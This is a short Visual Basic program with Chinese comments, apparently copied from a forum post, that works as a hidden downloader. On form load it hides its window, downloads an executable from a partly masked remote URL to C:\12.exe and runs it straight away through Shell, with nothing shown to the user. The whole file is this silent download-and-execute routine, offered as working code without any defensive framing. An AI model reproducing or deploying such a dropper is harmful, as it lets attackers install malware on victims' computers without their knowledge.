Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long ' 首先声明一个API
Private Sub Form_Load()
Me.Visible = False
DownloadFile "****? 1/06F7293929B5138DA00157F251CC83F8646A5E92E0F7F948D7BCD6E986B94801D07D4E9FA31024476DB51368C24020C4EC34EBF139971CE3AB05074431FB4D3BCBFD0F4252361083AA55EF0483A78B1DF8C0C231FA7D030826656/叉车.exe", "C:\12.exe" '下载并且运行
End Sub
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean ' 下载过程
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then
DownloadFile = True
Shell "C:\12.exe"
End If
End Function
评论